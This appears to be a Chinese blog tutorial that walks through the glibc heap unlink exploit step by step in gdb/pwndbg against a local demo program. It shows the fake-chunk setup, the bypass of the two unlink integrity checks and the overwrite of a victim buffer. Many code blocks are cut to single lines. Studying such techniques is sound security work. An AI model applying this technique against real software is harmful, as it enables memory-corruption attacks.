unlink简介
unlink的目的是把一个双向链表中的空闲块拿出来,如图。
也就是
1 | 设置 P->fd->bk = P->bk. |
unlink时执行的检查
以前的unlink是没有检查的,很容易利用,不过现在多了两项检查,所以在利用时候要绕过这些检查。
Function | Security Check | Error |
---|---|---|
unlink | chunk size是否等于next chunk(内存意义上的)的prev_size | corrupted size vs. prev_size |
unlink | 检查是否P->fd->bk == P 以及 P->bk->fd == P | corrupted double-linked list |
unlink exploit
准备
通过一个例子来学习一下,这个例子是Heap Exploitation系列的unlink,为了便于理解,我会用gdb详细的调试一下。
首先,编译程序,我使用的系统是ubuntu14.04 64位,将下面的示例代码编译出来,带上-g参数。
1 | sakura@ubuntu:~$ gcc -g unlink.c -o unlink |
1 |
|
我使用了一个gdb插件pwndbg(应该是插件吧?),需要安装的话。
1 | git clone https://github.com/pwndbg/pwndbg |
开始调试
1 | pwndbg> b 20 |
1 | pwndbg> n |
这样就开始malloc第一个chunk了,返回的地址放在rax里,然后存到栈里。
继续看第二个chunk的地址
1 | pwndbg> n |
接下来的三条命令其实就是输出我们刚刚调试出来的chunk地址的,所以过掉就行了,不过可以检查一下我们找的是不是对的。
1 | pwndbg> b 25 |
然后来详细的说明一下,是怎么unlink exploit的。
假设攻击者已经控制了chunk1的数据,并且可以溢出到chunk2的元数据。
因为我们能够控制chunk1的数据,所以当然可以在chunk1里伪造一个chunk出来。
1 | fake_chunk = (struct chunk_structure *)chunk1; |
我们知道,返回给我们的chunk实际上是mem指针,如下图的mem就是chunk1
通过将chunk1强制转换为struct chunk_structure结构体,就伪造出了一个chunk。
相当于
然后我们看一下此时的chunk1的内存。
1 | pwndbg> x /10gx 0x602000 |
再看一下fake_chunk,地址为0xffffcf80,指向0x0804b008(mem)
1 | pwndbg> p $rbp-0x40 |
通过检查点1
接下来要确保chunk->fd->bk == chunk
1 | fake_chunk->fd = (struct chunk_structure *)(&chunk1 - 3); // Ensures P->fd->bk == P |
如果不熟悉指针加减运算的,可以参考这篇文章
&chunk1是指存放chunk1这个被分配出来的heap的地址的栈地址,即0x7fffffffdd60
1 | pwndbg> stack 10 |
此时的chunk1
1 | pwndbg> x /10gx 0x602000 |
接下来要确保chunk->bk->fd == chunk
1 | fake_chunk->bk = (struct chunk_structure *)(&chunk1 - 2); // Ensures P->bk->fd == P |
此时的chunk1
1 | pwndbg> x /10gx 0x602000 |
我相信到这个时候你已经凌乱了,因为我一开始看到这里的时候也挺凌乱的(因为我指针学的不好emmm..)
让我们再理一下。
首先观察一下栈段,我们知道我们的变量都是存在栈上的,chunk1,fake_chunk都是指针,指针的值都是一个表示地址空间中某个存储器单元的整数,这也就是我们说的指向。
1 | unsigned long long *chunk1, *chunk2; |
1 | pwndbg> stack 10 |
chunk1=0x602010
&chunk1=0x7fffffffdd60
fake_chunk=0x602010
&fake_chunk=0x7fffffffdd70
然后我们再看一下fake_chunk->fd,和fake_chunk_bk的值是多少。
1 | pwndbg> x /10gx 0x602000 |
fake_chunk->fd=0x00007fffffffdd48
fake_chunk->bk=0x00007fffffffdd50
需要知道的是,fd和bk的类型同样是struct chunk_structure ,也就是说fake->chunk->fd/bk指向的内存也是”*结构体**”
1 | struct chunk_structure *fd; |
所以这个指向的”结构体”是这样的。
1 | pwndbg> x /10gx 0x00007fffffffdd48 |
所以fake_chunk->fd->bk=0x0000000000602010=chunk1
而我们知道fake_chunk=chunk1。
1 | fake_chunk = (struct chunk_structure *)chunk1; |
所以这样就过了chunk->fd->bk==chunk的检查
chunk->bk->fd == chunk也是同理的
通过检查点2
然后为了通过检查点chunk size是否等于next chunk(内存意义上的)的prev_size
,我们需要修改chunk2的prev_size
1 | chunk2_hdr = (struct chunk_structure *)(chunk2 - 2); |
1 | pwndbg> x /10gx 0x602090 |
触发unlink
当我们free(chunk2)的时候,因为prev_in_use位被置0,代表前一个chunk(也就是我们的fake_chunk)也处于free,连续的空闲堆块合并而进行unlink操作。
也就是设置
1 | P->fd->bk = P->bk. |
可以看出fake_chunk->fd->bk和fake_chunk->bk->fd都指向(或者说等于)chunk1,即0x0000000000602010,所以只需要关注第二次操作即可。
P->fd即fake_chunk->fd=0x00007fffffffdd48
所以unlink之后,P->bk->fd由0x602010变为0x00007fffffffdd48
1 | 00:0000│ rsp 0x7fffffffdd60 —▸ 0x602010 <=P->bk->fd |
变为
1 | 00:0000│ rsp 0x7fffffffdd60 —▸ 0x7fffffffdd48 <=P->bk->fd |
也就是说现在chunk1的值变成了0x7fffffffdd48,chunk1[3]实际上就是chunk1。
1 | 45 printf("%p\n", chunk1); |
exp
改变chunk1[3]就是改变chunk1,在本例中, chunk1用于指向变量data并且通过改变chunk1从而影响到了该变量。
1 | chunk1[3] = (unsigned long long)data; |
可以看出现在chunk1的值已经变成了data的地址0x7fffffffdd80
1 | 00:0000│ rdx rsp 0x7fffffffdd60 —▸ 0x7fffffffdd80 —▸ 0x7fffffffddb0 ◂— 0x0 |
改变data的值为Victim’s data
1 | strcpy(data, "Victim's data"); |
在内存中查看
1 | pwndbg> x /s 0x7fffffffdd80 |
现在的chunk1已经指向data了,通过给chunk1[0]赋值,其实就是给data赋值。
1 | chunk1[0] = 0x002164656b636168LL; |
查看内存
1 | pwndbg> x /s 0x7fffffffdd80 |
果然已经变了。
字符串已经变成了hacked!
1 | pwndbg> n |
参考链接
https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit.html